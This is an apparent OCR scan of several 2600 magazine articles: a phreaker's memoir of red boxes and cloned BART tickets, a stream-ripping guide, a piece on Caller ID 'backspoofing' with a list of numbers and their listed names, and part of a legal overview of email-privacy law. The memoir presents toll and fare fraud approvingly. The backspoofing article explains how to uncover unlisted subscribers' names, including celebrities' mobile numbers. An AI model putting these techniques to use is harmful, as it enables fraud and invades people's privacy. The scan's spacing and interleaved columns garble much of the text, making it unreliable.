D a n  was l ater to te l l  me of someone who 
cou l d  make "free ca l l s" wi th sou nd l i ke I 
cou l d .  That man was Cap ' n  Cru nch . 

It was 7 969 .  We were a few 1 2 -year-o ld  
boys and there were a few twice our  age. We 
knew we had someth i ng go i ng i nto ju n ior 
h i gh, but  we had no idea wh at our i m pact on 
soc iety was to be.  

With an  age range between 1 1  and 1 4  
years, ju n ior  h igh was the u l t i mate freak 
show. For some of us it was a "phreak" show 
and we d i d n ' t  show a th i n g  outs ide our  t ight 
group .  Th is  was a very u n eventfu l t ime in my 
l i fe. 

I n  1 970 a very sma l l  p iece i n  Popular 
Science reported on a new payphone with 
a p i cture of th is  most ugly beast .  The most 
i m portant  featu res were a s i ng le  co i n  s lot and 
" s i lent  e lectron i c  s igna l s  to rep lace the fam i  l i ar  
sou nds that cu rrent ly  s igna l the operator of 
depos i ted coi ns . "  I nterest i ng ly, these horrors 
were to show up fi rst where I l ived . I was 
go i ng to fi nd out what those "s i l ent  s igna l s" 
were. F i rst, I had a fr iend ca l l  me at one of 
these "fortress phones" wh i le he recorded the 
ca l l .  I "sacr ificed" 40 cents (my l u nch money) 
to do th i s .  I i n structed my fr iend to ca l l  back 
on  the off chance I got the money back 
and we cou l d  record the tones aga i n .  S u re 
enough it returned ! We were ab le  to repeat 
th i s  severa l t imes .  Don ' t  forget: Hack i ng i s  
sc ient i f ic .  I t  was a s i m p l e  matter t o  wh ip  u p  
a s i m p l e  phase-sh i ft osc i l l ator and amp l i fier 
to match the frequency (q u ick ly  determ i ned 
to be 2 2 00 H z  but  that i s n ' t  i mporta nt) .  We 
needed a way to gate the tone .  

A sma l l  str ip  of copper was taped with ord i ­
nary cel l o  tape i n  such  a way as to  l eave five 
str ipes of copper about 8mm wide exposed. 
Th i s  formed, with a conducti ng p robe, a 
custom switch .  With just a cou p l e  of m i n utes 
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of pract ice it was very easy to exact ly  e m u l ate boxes to what many bel i eve was the Mafia .  
the t i m i ngs. We took turns  ca l l i ng a fortress Wh i l e  not a "sn i tch," Don was h igh ly  cr i t i ­
phone and compar i ng the i r  tone generators c ized for gett ing busted for someth i n g  few 
with ours .  No discern i b l e  d i fference!  We had of us  bel i eved was i l l ega l .  H e  was to be i n  
broken the m ighty fortress with i n  hours of contact with Ron Rosenba u m  of Esquire, a 
the i r  debut. Mil l ions  of do l l ars AT&T spent men ' s  magaz ine  you 'd fi nd next to Playboy. 
versus one dol l ar 's worth of parts. Nothing Ron wa nted sensat ion .  He managed to ta l k  to 
e lse mattered . many ph reaks. W h i l e  the piece he pub l i shed 

[Much l ater they thought they got smart in the October 1 9 7 1  edit ion of Esquire 
and i ntroduced 1 700Hz (somet i mes 1 5 00Hz) conta i ned some b u l l sh i t, i t  was to lead to the 
but  somehow they missed what hackers were fi rst pol i ce " hacker rou ndu p." The p iece was 
ab le  to do with CMOS. We cou ld  create a l so read on Pac i fica Rad io's K PFA in Berkeley 
phase-sh i ft osci l l ators as perfect as the i r  LI j ust pr ior  to its release, poss i b l y  d i rected to 
C osc i l l ators. Later DTM F and MFc ch i ps the "b l i nd phrea ks." Crunch p icked u p  a copy 
became ava i l ab le  and by rep l ac i ng the 1 Mhz at  loca l newsstand on h i s  way to  San Jose Ci ty 
crysta l with an LlC osc i l l ator, a very c l ose Col l ege and read the rather l engthy artic l e  
approx i mation  cou l d  be obtained. Red and without putt i ng i t  dow n .  H e  ca l led Den ny, 
b l ue, or " ra i n bow" (named after a drug), boxes the r ing leader of the b l i nd phone p h reaks, 
were popu la r. These c h i ps were extremely  and read i t  aga i n .  H e  apparently recorded 
expens ive, but fortuna te ly  free for me. Much the ca l l  for other b l i nd ph reaks.  This was  the 
l ater, the 5087 came out for 50 cents. A very end in one way but a l so a new begi n n i ng - a 
cheap, no effort red box ! The big quest ion :  whole new defi n i t ion of  hacker. 
" H ow m uch honey or map le  syrup does it Mysel f, I was caught with what was to 
take to make a "fortress phone" sou nd l i ke l ater be known as a " red box, " something 
a 6 . 5 536MHz crysta l -based red box? The 2600 wou l d  cover heavi ly  a l most 20 years 
"qua rter, " designed by a very competent eng i - later. Because I was a m i nor, news of  th i s  in 
neer, was to so lve ha l f  the prob lem.  A da m n  t h e  USA was very s l ight.  Bu t  t h i s  d i d n 't stop 
6 . 5S36M Hz rock was sti l l  used, but rep lac ing  Canada from pub l i shing my name, since i t  
that with an  LlC c i rcu i t  made a perfect box . wasn't i l l ega l to pub lish the names of m i nors 
Hackers can w ind coi l s !  Hope you kept you r  there. I d i d n ' t  learn u nt i l  l ater, b u t  I was to 
back issues of 2 600. ] become the i r  "Cru nch"  and start a popu lar 

High school finally. The pr i nc ipa l  na t iona l  pastime. The  red box  was  s imp ly  a 
wel comed the new "c l ass of ' 75 "  and wa rned ut i l ity that made u sing the b l u e  box m uch 
the retu rn ing students to be n ice to us .  S i l icon eas ier  from most of North Amer ica .  Nobody 
Va l l ey was jU5t begi n n i ng to form out of the knows where the term " b l u e  box" actua l l y  
long estab l i shed a nchors:  Lockheed Aero- came from.  The tone generator in one of the 
space, Hew lett-Packa rd, and Varia n .  Our  massive "fortress phones" i s  red . Actu a l l y  it's 
school d i str ict fou n d  i tse lf  with more money in a p i n k  case, poss ib l y  to keep peop l e  out? 
than it cou ld  use.  We were be i ng add ressed C lear ly, red i s  m ore  m a n l y. 
on a newly  i n sta l l ed c: losed-c i rcuit TV system .  Unfortu nate ly, my board ing schoo l, 
We were to ld  there were 2600 students u niversity, and much  informat ion you need to 
enro l led.  Very a m u s i ng in a somewhat secret understand me has been edited out.  I don ' t  
way. even have the space to te l l  you about see i ng a 

Th i s  was going to be an i n teresting and rea l gym nasiu m-s i zed computer i n  1 9 74. 
{>ventfu l yea r. I was to see a computer for the However, beforE' we move on to the Neth-
fi rst t ime and actu a l l y  use one in rea l -time.  er l ands, I ' m  going to out l i n e  the thought 
The "math resou rce center" had an  "AS R33 process that was to become my defi n i ng 
Te letype" term i na l  insta l led.  Th i s  connected hack.  I broke BART (Bay Area Rapid Trans it) 
to a centra l t i meshar i ng mach i ne at 1 1 0 baud .  at i t s  weakest poi nt:  revenue co l lect ion .  It  
I t  was UNIXI Wh i le new, U N I X  was very easy was a l most as s i m p l e  as a red box and has 
to use. A l l  students were welcome to trv the been out l i ned prev ious ly  in these pages. 
new equ i pment. Punch cards sti l l  r u led and The " BA RT hack" was not the fi rst t ime 
"computers in the c lassroom" were a d i stant  t ickets were d u p l i cated. Rather, it  was  a 
dream for most schoo l s .  rethink on how i t  shou ld  be done .  Tradition-

The summer of 1 9 71 had someth i ng a l ly, "cr i m ina l s" used a lot of huge, heavy 
brewing that was go i ng to forever change the machinery, somet i mes even sto len t icket 
pub lic not ion of " h acker. "  A v i rtua l  u n known, vendors that weigh near ly a ton .  This was to 
Don B a l l a nger, got busted for se l l i ng  b l ue be an u ltra-s i m p l e  portab le  device, we igh ing 
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less than ha l f  a pound, sma l l  enough to ho ld  tour i st fr iends.  
in  the pa l m  of you r  hand .  Our  i ntent was to Amsterdam, 7 990. I d id  i t !  Sk i pped proba­
show the wor ld  that a l l  "secu rity" cou l d  be t ion and even to ld  my PO I was mov i ng.  I 
defeated for l ess than $20. On Chr i stmas Eve, th i n k  she d i d n ' t  be l i eve me and sa id  OK .  
we made severa l hundred $8 t ickets and j ust (One less on her caseload?) I won ' t  go i nto 
gave them away to peop le .  These were 1 00 an extrad i t ion attem pt, but  H o l l a n d  to l d  them 
percent rea l BART ti ckets ! where to stick  i t .  

In  the ea r ly  90s I pub l i shed a n  art ic le  in I smugg led a few i 3 86s in and many more 
2 600 on how to do th i s .  These were the very were to fo l low. Th i s  was the fi rst m icropro­
p lans  the author i t ies were try i ng thei r best cessor that cou l d  even come c l ose to bei ng  
to keep out  of  pub l ic  v iew! You m u st be a a "computer. " I n  with L i n ux-O.0 1 . Xen i x  was 
"hacker" to use them, but  with a complete h i story. The Pent i u m  was soon to fo l low 
u nderstand i ng, it works. In the case of BART, and wh i l e  I was to p l ay with S lackware and 
the card was  proprietary, so powdered i ron  Red H at, FreeBSD was  l ook ing  very n i ce.  
gave u s  the a nswer. We needed fu l l  track FreeBSD was soon to be my "on l i ne" system, 
8mm ca rd-reader heads. Amaz ing ly  enough, though I was to earn cons iderabl e  money for 
BART d u m ped about 50 to a su rp l u s  shop at port i ng  a RedH at d i st r ibut ion to A l pha, a 64-
the Oak land a i rport .  At 5 0  cents each i t  was bit p latform.  
a barga i n  and we bought  them a l l .  With the I became i nvolved wi th  Hack-lic Techno l ­
powdered i ron,  we determ i ned there was ogies, a sp in-off from Hack- Tic. We sold, i n  
another e lement o f  obscu rity: The doma i n s  k i t  form, t h e  h ardware hacks.  Many, l i ke the 
were rotated 7.5 degrees. Demon D i a ler  and Sema F u n  (a pagerlSMS 

The Was h i n gton D.C.  Metro u sed the same decoder) were very successfu l .  Hack- Tic was 
bogus I BM system as BART (both ex i st to th i s  a short- l ived pub l icat ion t h a t  attem pted to 
day) . We l i ked to p l ay with BART by add i n g  b r i n g  t h e  " l ook and feel "  o f  2 600 t o  a D utch 
fare to WM t ickets ! The t ickets have a matr ix- aud ience. I ts downfa l l  was m a i n l y  the fact 
pr i nted str ip  that shows the user the rem a i n i ng that it was i n  Dutch  as wel l  as the monster i t  
va l ue .  (Most t icket scams a re s i m p l y  pr i nted c reated: XS4ALL .  
cards so ld  to "greedy peop le ." )  I f  one was  N o  Wi res Needed was  a company formed 
i ns ide the system with a n  "overpr i nted" card, to complete the development of the WLAN 
there wou l d  be some expla i n i ng to do.  So th i s  I i nvented, wh ich  started a longside of  the  
was  the so l ut ion: We wou l d  make a magnet ic  BART hack  i n  1 985 .  D ig iCash was  the ho ld i ng  
str ipe card (a u sed BART t icket with f ive cents compa ny for the i l l -fated software patent 
rema i n i ng) with a va l ue of (then) $ 7 .95,  i n sert about a l l  e lectro n i c  payments and a l so the 
in  the "add-fare mach i ne," add five cents, m ost i nc red i b l e  col l ect ion of top peopl e  one 
and voi l a, a rea l BART issued $8 t i cket! The cou l d  i mag i ne.  Al l  these patents a re exp i red 
$7 .95  we recorded on the t icket that sa id  today and everyth i ng h av i ng to do with 
five cents rema i ned was automat ica l l y  w i ped " I nternet payments" is "pr ior  a rt . "  D i giCash 
and n o  one was the w iser. Th i s  was for rea l deve loped the smart cards we use (every­
and certa i n l y  not a sca m .  Th i s  was to be my where except the U SA) .  Sad ly  the ban ks fe l t  
"t icket to fame and fortu ne." "Cr i me" pays: th reatened and D ig iCash fo l ded . 
Can it be made any c learer? Because I was fou n d i ng D utch compa n i es, 

W h i l e  there was abso l ute ly  no cri m i na l  I needed t o  become lega l .  The Vreemde l i n ­
i n tent, t h e  BART po l i ce (g lor i fied " rent-a-p ig" gen po l i t ie  (they norm a l l y  dea l with "peop le  
types) d idn ' t  th i n k  it  was  very fu n ny. Th i s  u l t i - of co lor") thought  i t  was  a l l  a b ig  joke.  I was 
mately forced me to l eave the U SA, wh ich  I to l d  to "do noth i ng" and let the case go to 
d i d n ' t  t h i n k  was so fu nny either at t i me, but court .  Th i s  wh i te boy from the U SA had a 
was to be my " l ucky break." 1 00 percent chance of w i n n i ng.  (Yes, these 

Flash to the end of the " Cold War. " I t  was are extreme r ight-w ing  fasc i sts . )  Than k  you 
l ate in  1 989 and I was te l l i ng my coworkers H a n neke for you r  he lp .  
that  the Ber l i n  Wa l l  was  com i ng down .  They To be a hacker is to devote you r  l i fe to 
a l l  thought I was n uts. Less than a week l ater what shou ld  be obv ious .  We are not "cr i m i ­
i t  happened. M y  p l a n s  without hesitat ion na l s"  and wi l l  f ight  tooth and nai l to get them 
were to m ove to Eu rope. off our I nternet. We are figh t i ng a batt le  that 

East  Berlin, 3 7  December 7 989.  Th i s  was i n c l udes Windows, the root of a l l  ev i l , a l ong 
su re to be the b iggest party in the wor ld  and with what  has become of  the fatefu l dec i ­
i t  d i d n ' t  d i sappo i nt .  I h a d  been "swa l l owed" s ian to make I nternet ava i lab le  to low-end 
by Eu rope and separated from my Amer ican computer systems.  The ev i l  s i m p l y  mou nts, 
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but  note it wi l l  be h ackers, not pol it i c i ans, 
that solve the prob lem.  Su re, "puppets ga lore" 
wi l l  take c red it .  They owe the i r  ex i stence to 
us. We can "pu l l  the p l ug" - what i s  a " B ush 
Mon key" to do?  

The bas ic  ev i l  of today ' s  I nternet i s  more 
than j u st Microsoft - the "m idd le-c lass OS." 
1M, spam, spyware, worms, Troj ans,  soc i a l  
networks on l i ne, and m u c h  more are d i rect ly  
a res u l t  of  people and the i r  d u mbed-down 
" OS." Far deeper, the root of these evi l s  tru l y  
h ave been w i t h  u s  longer  t h a n  most people 
have known about  the I nternet. I n  1 989 
we got I RC, a n  i mp roved form of the s i l ly 
"Compuserve CB"  (ta l k) .  It was f ine unt i l i t  
d i ed a strange death a rou nd 1 994.  Today 
we have "soc i a l  on l i ne networks," mak ing  
I RC one of  the  more tame computer games. 

by Evi lBrak 
evi lbrak@yahoo.com 

Microsoft has been very ana l  when it 
comes to strea m i ng med ia  and has released 
l i tt l e  i nformation on the i r  strea m i n g  
protoco l ,  M M S  (Microsoft Med ia  Server) . 
R ipp ing strea ms is stra ightforward but  t ime 
cons u m i ng. A l l  you need i s  Wi ndows Medi a  
P l ayer (ca l l ed W M P  from now on),  a program 
c a l l ed SOP M u lt i med ia  (down loadab l e  from 
http://sdp .ppona.com/), and the location of 
the stream you want to down load. 

F i rst, what you need to do i s  get the U RL 
of the stream's ASX fi le .  Gett i ng  access to 
the U R L  d i ffers depend ing  on wh ich  s i te the 
stream i s  on .  Most s i tes embed the v ideo 
i nto the web page itse l f. Look for a "Launch 
Externa l  P layer" button somewhere on the 
page; usua l l y  th i s  wi l l  open a new browser 
w indow with the LJ R L  of the ASX fi le  or i t ' l l  
open u p  WMP (the U RL of the fi l e  can be 
found  in the p l ay l i st) . I f  there i s  no "Launch 
Externa l  P layer" button,  then v iew the sou rce 
of the page and look for the U RL to the ASX 
fi le .  Once you have the U RL, copy and paste 
i t  i nto SOP. If you l i ke you can save the ASX 
fi le  to you r  computer. Th i s  is he l pfu l s i nce 

"On l i ne fr iends" i s  someth i ng for matu re 
aud iences, such as the a l l  U N IX I nternet (o ld 
I RC) .  When m i nds are be ing weakened, w e  
don ' t  need any more of th i s  swi l l .  

As rea l hackers we solve prob lems, wh i le 
the l aw and po l i t i c ians  on ly  make matters 
worse. A techn ica l  so l ut ion to every prob lem 
on the net i s  in  order. Put very s imp ly :  Hasta 
l a  v i sta, pretenders ! Stop cry i n g  and get 
hacki ng. 

Bill Squire to this day works with anything 
technical. Don 't call him a "consultant. " 
That  will insult him. He likes to travel long 
distances : in the winter to "warmer places " 
and in the summer he prefers a more tech­
nologically-oriented tour. There are always 50 
many people to meet. 

you h ave a d i rect l i n k  to the strea m and you 
won 't have to navigate through the webs i te 
to get to i t .  

Next, open u p  SOP and c l ick  on Open . 
I n  the box that pops u p, paste the U RL of 
the ASX fi le .  If you saved the ASX fi l e, then 
e i ther paste the path or browse to i t .  C l i ck on 
OK and the p l ay l i st wi l l  open u p  in the LJ R L's 
combobox . Select the fi l e  you wish  to down· 
load, then c l ick on Go. Choose where you 
want the fi l e  to be saved . S O P  saves aud io  
i n  ASF format and v ideo i n  WMV format. 
If you wish to convert to a d i fferent format 
(e.g. ,  M P3 and MPG) then Goog le  around for 
converters . There a re p lenty to choose from . 

SOP wi l l  down load the stream as it p l ays 
and therefore a prerecorded ten m i n ute v ideo 
w i l l  take rough l y  ten m i n utes to down load, 
depend i ng on server load. L ive streams down­
load at the same rate as prerecorded streams  
but  w i l l  cont i nue  down load i ng u nt i l you 
c l ick on Abort. You can l i sten to or watch the 
stream wh i le you down load by c l i ck ing  on 
Preview. Another featu re of SOP i s  the VCR. 
You can set start and stop t i mes to record 
you r  l ive stream .  For example, my local  rad io 
stat ion has its own stream and i f  I l i ke I can set 
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SOP to start recordi ng at 5 am and fi n i s h  at 1 0  
a m  so I can l i sten to the morn i ng show when 
I want. I can l eave my computer u nattended 
and SOP wi l l  record with no user i nteraction .  
Pretty coo l ,  h u h ?  

There a re many d i fferent ways t o  down­
load strea m i ng content and th is  i s  the way I 

by Natas 
natas@oldskoolphreak.com 

What exact l y  is backspoofi ng? Most 
peop le  read i n g  th i s  a rt i c l e  p robab ly  have 
never heard of the term "backspoofing" before 
and don ' t  know that the term was coi ned 
somewhat recent ly  by a fe l low phone phreak 
n amed N otTheory. Backspoofi ng is a very 
s i m p le, but u sefu l techn i que .  Essent i a l l y, it i s  
j ust ca l l i ng yourself w i t h  spoofed Ca l ler 1 0  for 
the pu rpose of gett ing  the CNAM (Ca l ler  1 0  
Name) associ ated with a part i cu l a r  n u m ber. 
The n u m ber you spoof as you r  Ca l ler 1 0  i s  
the n u m ber that you want t o  receive Ca l ler 
10 name i nformat ion for. I be l ieve that th i s  
wi l l  work w i th  a l most any 1 0  d i gi t  n u mber 
with i n  North America. To do th i s  proper ly 
you usua l ly need to be ca l l i ng  a POTS l i ne, 
becau se POTS l i nes a re the o n l y  k i nd of l i nes 
that offer Ca l ler 10 with name, not j u st Ca l ler 
10 n u m ber. However, some Vol P  providers 
these days are now offer ing Ca l ler 10 name 
serv ice to compete with a l l  the featu res ava i l ­
a b l e  on trad i t ion a l  POTS l i nes .  I t  shou ld  a l so 
be noted that cel l phones do not provide 
Ca l ler 1 0  with name on i ncom i ng ca l l s  and 
probab l y  never wi l l ,  as the name a lways 
tends to be retrieved from the loca l database 
on the phone.  

How does backspoofi ng work? How i s  the 
C NAM retrieved from a n u m ber? Wel l ,  when 
you spoof you r  Ca l ler 10 to a te lephone l i ne 
with Ca l ler 10 name, what happens is the 
rece iv ing  te lephone switch does a l ookup 

use.  I thought I 'd share th is  method with you 
a l l  s i nce I have met many peop l e  who do not 
know how to down load streams .  I encou rage 
you to p l ay a round with both WMP and SOP. 
You m ight fi nd a more effic i ent  way of down­
load i ng streams.  Enjoy !  

i n  what i s  known as a CNAM database v i a  
t h e  S S 7  (S igna l i ng System 7)  protoco l .  Th i s  
rece iv ing swi tch d i ps i n  and retr ieves the 
name assoc iated with the part i cu l a r  n u mber 
from the CNAM database and d i sp lays i t  on 
you r  l i tt l e  Ca l ler 10 box. Now you m ight be 
ask i ng why th i s  i s  the l east bit i n terest i ng  or 
how it 's  u sefu l .  Wel l , i t ' s  extremely u sefu l 
becau se it a l l ows you to see i nformation 
that may otherwise be pr ivate. The te lephone 
compa n ies figure that even i f  you ' re some 
b ig  shot mov ie  star or even i f  you have an 
u n l i sted n u mber, the person rece iv ing you r  
ca l l s  shou l d  sti l l  b e  a b l e  t o  see t h e  name and 
the n u m ber of  the person ca l l i ng .  After a l l ,  
that ' s  why they' re pay i ng for Ca l l er 1 0. S o  the 
te lco puts you r  name and n u m ber in the i r  
enormous database that ' s  constant ly  bei ng  
u pdated . Even u n l i sted n u m bers wi l l  typ ica l l y 
come back with a fi rst and l ast name if it can 
a l l  f i t  i nto the 1 5  character space designed for 
the Ca l ler 1 0  name. Th i s  a l l  works because 
you ' re tr ick i ng the Ca l l er 10 serv ice i nto 
l ooki ng up the CNAM i nformation associated 
wi th  the te lephone n u m ber of you r  choos i ng.  
1 l i ke to th i n k  of these CNAM databases as a 
pr ivate reverse lookup d i rectory ! 

At fi rst backspoofi ng may not seem l i ke 
the best th i ng  i n  the wor ld,  but  there are l ots 
of app l i cab le  uses for someth i n g  l i ke th i s, 
espec i a l l y  if you ' re a phone phreak !  Ever 
fi nd  a loca l "e levator n u mber?" The ones that 
con nect you to the phone i ns ide an e levator, 
a l low ing  you to l i sten i n  on the e levator or 
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speak to the peop l e  i ns ide? Wel l .  . .  by back­
spoofi ng a n  e levator n u mber you can see 
what the name comes back as .  Usua l l y  th i s  
i s  t h e  name o f  t h e  company whose P B X  the 
e levator n u m ber i s  on or the company that 
occup ies the b u i l d i ng that the e levator i s  i n .  
Now a l l  you wou ld  have t o  d o  i s  look up  the 
compa ny ' s  address and fi nd  out where the 
b u i l d i ng i s  and you can fi nd out exactl y  what 
e levator you ' re l i sten ing  to ! Th i s  actua l ly 
came i n  extremely handy for me. For about 
five years now, I ' ve had e levator nu mbers 
that were supposed ly  at B rown U n ivers i ty 
but  I was never rea l ly su re .  By s imp ly  back­
spoofi ng the nu mber I was able to confi rm 
th i s  with i n  a few seconds.  

Te lco test numbers a re some of the 
greatest th i ngs to backspoof, because even 
test n u m bers have C NAM entr ies most of 
the t i me. When I fi rst sta rted hackspoofi ng, 
I assu med test n u m bers wou ld  have d i screet 
l i st i ngs, but oftent i mes they l i st the telco's 
name or even a l i tt l e  descr ipt ion about 
the n u m ber !  Someone even showed me a 
modem that came back as " N ET 5 -ESS" wh ich 
i s  a te lephone switch made by Lucent.  So 
i t  was  pretty obvious what  turned out to be 
con nected to that  modem ! If  you ' re doing 
a scan and you ' re not  su re who a part ic u l a r  
modem belongs to, backspoofi ng comes i n  
very handy!  I a lways l i ke t o  see what m i l l i ­
watt n u m bers, and other numbers a round the 
m i l l iwatt n u m ber, come back as .  Maybe you 
have some n u m bers to you r  telco and you ' re 
wonderi ng exactl y  what bureau the n u m ber 
belongs to? Backspoofi ng can somet i mes tel l 
you if you ' ve reached RCMAC, the switch 
room, M LAC, I nformation, or the code for a 
part i cu la r  w i re center. 

A l so, you can see j ust how l azy telcos 
are and how long some test n u m bers have 
been the same, because I ' ve found entr ies 
with o ld  te lephone company names that a re 
long gone!  When was the l ast t i me you saw 
" N Y N EX"  or " N EW E N G LAN D TEL"  ca l l i ng  
you ? !  These compan i es d i tched those names 
years ago, but there are sti l l  p lenty of CNAM 
entr ies out there with those names. 

Ce l l  phone nu mbers a re no exceptions 
to ru les of backspoofi ng either !  T-Mob i l e  
cu rrent ly enters the i r  customers' names i nto 
C NAM databases. I bel ieve Spr i nt is now 
start ing  to do the same. So if you ' re looki n g  
for a famous celebr i ty ' S  ce l l  phone n u m ber 
and you know they ' ve got a T-Mobi le accou nt, 
backspoofi ng can come in very handy. Try 
backspoofi ng an ent i re T-Mobi le exchange 
served out of the H o l l ywood H i l l s and see 

how many famous names you recogn ize !  
Beware that a l l  C NAM prov iders a re not 

equa l !  There are l ots of d ifferent CNAM data­
bases in use, and wh i le most of the i nfor­
mation is the same, some databases h ave 
confl ict ing i nformation .  I t  may j ust be that 
some databases are not updated as frequent ly 
or i t  may j u st be that a certa i n  one sucks and 
conta i n s  lots of  outdated entr ies .  I ' ve found 
CNAM entr ies that  were d i fferent, depend ing 
on the carr ier who provided my Ca l ler I D  
name serv ice.  I wou l d  get one resu l t  with 
Verizon and another with AT&T. There rea l l y  
i s  a lot of fu n ky stuff that goes on i n  t h e  wor ld  
of CNAM. 

To c lose the a rt i c l e, I want  to show you j ust 
how cool backspoofi ng is. I ' ve put together a 
l i st of some of the most i nterest i ng  examp les 
which I ' ve found through backspoofi ng. Keep 
in m i nd that phone numbers do change qu i te 
often, so u nfortu nate ly  some of these exam­
p les may be gone by the t ime this a rt i c le  
comes out .  
" BROWN UNIVERS IT " < 4 0 1 8 6 37 1 27> 

" USG-FBI " < 3 1 0 4776 5 6 5> 

" u  S GOVERNMENT " < 5 0 1 3 2 4 6 2 4 1> 

" CIA, INTERNATION " < 5 0 879 8 2 6 9 3 >  

" FAA-ONTARIO ATC " < 9 0 9 3 9 0 9 9 5 3 >  

" BOOZE " < 9 0 9 975 0 0 5 0> 

" NEW CENTURY TIT " < 9 0 9 9 370 0 2 0> 

" UNITED , NUDE -TE " < 2 1 2 274 9 9 9 8> 

" SPRINT PAYPHONE " <70273 1 9 9 0 0 >  

" 2 8 8 8 1  " < 3 1 0 9 2 6 5 1 0 1> 

" A , T &T " < 6 172 2 7 1 0 67> 

" BELL ATLANTIC A" <5703 870 0 0 0> 

" OFC# 8 97 TEST L "  < 8 0 2 8 979 9 1 2> 

" ROCH TEL " < 5 8 5 2 2 5 9 9 0 2 >  

" PAC IFIC BELL " < 3 1 0 8 5 8 0 0 0 0> 

" VERI ZON RC C9 " < 9 0 9 3 9 0 0 0 0 8 > 

" GTC RC WCH3 BC " < 9 0 9 3 9 0 0 0 0 6> 

" GTC RC E 1 4 0  BC " < 9 0 9 3 9 0 0 0 37> 

" GTE WC XXXX " < 9 0 9 974 0 0 1 0> 

" PYRAMID , TELECOM " < 5 0 879 8 9 9 2 0> 

" VERI ZON , INFORMA" < 5 0 879 8 9 974> 

" VERI ZON , GNI " < 5 0 875 6 9 9 1 3> 

" VERI ZON " < 6 3 1 6 6 8 9 9 0 6> 

" NYNE X ,  " < 5 0 879 8 0 0 8 1 > 

" NEW , ENGLAND TEL " < 5 0 879 8 9 9 87> 

" BELLSOUTH " <70 6 6 679 9 2 3> 

" T-MOBILE " <70 6 6 6 79 9 9 4 >  

" SWBT " < 3 1 4 2 3 5 0 475> 

" SWB " < 3 1 4 9 6 6 1736> 

" QWEST MESSAGING " <5072 859 2 1 6 > 

" VACANT " <978 4 4 6 8 972> 

" UNCLAIMED MONEY " < 4 1 0 4 6 4 1 276> 

Shouts :  The DDP, NotTheor)� Nick84, 
Decoder, Lucky225, Doug, Majestic, IcOn, 
GreyArea, Mitnick, Agent Steal, Poulsen, 
StankDawg, Dual, Cessna, Vox, Strom 
Carlson, IBall, & Av l d. The revolution will be 
digitized! 
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i 
_____________________ _ ' ----------oy ;Uex-MUernz, Esq:---------- set of l aws, common l y  known as the Wi retap 

lex@successfulseasons.com Act or the E lectron ic  Comm u n i cat ions Pr ivacy I ' ve given a few ta l ks at hacker conferences Act (ECPA) that dea l with EC in trans i t .  and  there a re a l ot of  m isconceptions  about "Storage" here i s  what attorneys ca l l  a the l aws that govern what we ca� and ca� ' t  "term of  a rt," wh ich means tha t  i t  does n ' t  d o .  Wh i le most l ega l i ssues a re d i scussed I n  mean what you th i n k  i t  means .  Storage u nder a rt i c les l onger than a n  enti re copy of 2 600, the SCA i n c l udes any t ime the EC stops, even I ' d  l i ke to g ive a q u i ck overvi ew on readi ng for a m i c rosecond .  Cons ider th i s  hypothet­ema i l  - can you read other peop l e ' s, and who i ca l :  I ema i l  th i s  a rt i c le  to 2 600. My ema i l  c a n  read yours? server holds onto the ema i l  wh i l e  i t  figu res Note: th i s  i s  not l ega l adv ice.  Wh i l e  I am out how to route it .  I t ' s  in storage, i f  on ly  for a n  attorney, I ' m  not your attorney. I ' m  goi ng a tenth of a second, so i t ' s  covered by the to ta l k  about u .s .  Federa l l aw, namely the SCA.  The ema i l  server breaks i t  i nto packets Stored Com m u n icat ions Act and the Wiretap and sends i t  to its upstream router. Now the Act. Many U.S. states h ave the i r  own laws packets a re " i n  trans it" unt i l they make i t  �o on th i s  topi c  that m i rror Federa l. l aw or wor.k the router. The packets a re i n  storage when I n  s l ight ly d i fferent ly. Other cou ntr ies have the i r  t h e  router ' s  memory. They ' re a l so i n  storage i f  own l aws, and it seems that  the u .S .  govern- I h ave my ema i l  c l ient  save sent ma � � . ment does n ' t  even fol low the i r  own .  If you Yup, "EC" is a vague term too . S i nce ECs have any quest ions about spec if ic facts or a ren ' t  defi ned by the SCA, any new method of you r  own case, contact an attorney. That said,  dig ita l  com m u n i cat ion i s  l i ke l y  to be covered . let ' s  have some fu n .  Messages on B B Ses, web foru ms, ema i l ,  IMs, The Stored Com m u n i cat ions Act (SCA) pages, and ce l l phone text messages have bars unauthor ized people  from i ntent iona l ly a l ready been ru l ed to be covered by the access i ng  a n  "electro n i c  ��m m u n ica.t ion SCA. serv ice fac i l i ty." I t  a l so p roh i b i ts a uthOri zed S i nce the outcome of many l ega l i ssues u sers from exceed i ng the i r  granted access depends on who you a re and what you 're and obta i n i ng, a l ter i ng, or  prevent ing the doing to whom, the fo l lowi ng chart shou l d  del ivery o f  another's e l ectron ic  com m u n i ca- he lp .  t ion ( EC) that  i s  i n  storage. There ' s  a second 
Who are you ? Whose EC are you looking at? Am 1 0K? 

Yup ( 1 )  

Yup ( 2 )  

Nope ( 3 )  

Maybe ( 4 )  

Maybe ( 5 )  

Maybe ( 6 )  

Intended recipient 

I nadvertent recipient 

Intentional recipient 

Email provider ( public ) 

Ema i l  provider ( private ) 

Police 

Yours 

Someone e l s e ' s  

Someone e l s e ' s  

User ' s  

User ' s  

Someone e l s e ' s  

( 1 ) .  The i n tended rec ip ient can a l ways 
read the i r  own stuff, at l east u n der  the SCA. 

(2 ) I f  you get an i ncorrectl y  addressed 
ema i l ,  or i f  you r  ema i l  system m isroutes 
someone e l se ' s  ema i l  to you. you . re OK. as 
long as you d i d n ' t  do a nyth i ng to get that 

ema i l .  M i nd you,  i f  you asked someone e l se 
to get you the ema i l , and neither of you are 
authori zed to see i t, i t ' s  not i nadvertent . 

(3 ) If you i ntent ion a l l y  exceed you r  granted 
perm iss ions and acc�ss or ��dify someone 
e l se ' s  EC without the i r  perm iss ion or prevent 
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them from gett ing  i t, you 've v io lated the SCA 
and are potenti a l l y  up to one year i n  pr i son 
and fi nes, or f ive years if  you do it for profit or 
"ma l ic ious destruct ion" .  Here's the fu n part:  
The l aw i sn 't qu i te su re what "exceeds autho­
r ized access" mea ns yet. 

(4), (S)  A prov ider of an "e lectron ic  commu­
n i cations serv ice" or the i r  workers can look  a t  
ECs  stored on thei r  systems. Prov iders who 
offer the i r  serv ice to the pub l i c, such as ISPs 
or cel l phone compan ies can ' t  d ivu lge the 
contents of ECs, except to del iver the message 
to the rec ip ient, or when served with a va l i d  
subpoena or search warrant . A l so, a pub l i c  
provider may forward an  EC to  the  po l ice if  
they bel ieve i t  conta in s  an  i m m i nent th reat of 
serious phys ica l  harm to another, and that the 
provider i nadvertent ly noticed the th reat. 

A pr ivate provider, such as a u n ivers i ty or 
bus i ness that offers ema i l  on ly  to the i r  workers 
may be ab le  to d ivu lge the contents of ema i l s  if 
they want to. I t ' s  a gray area, which i s  why lots 
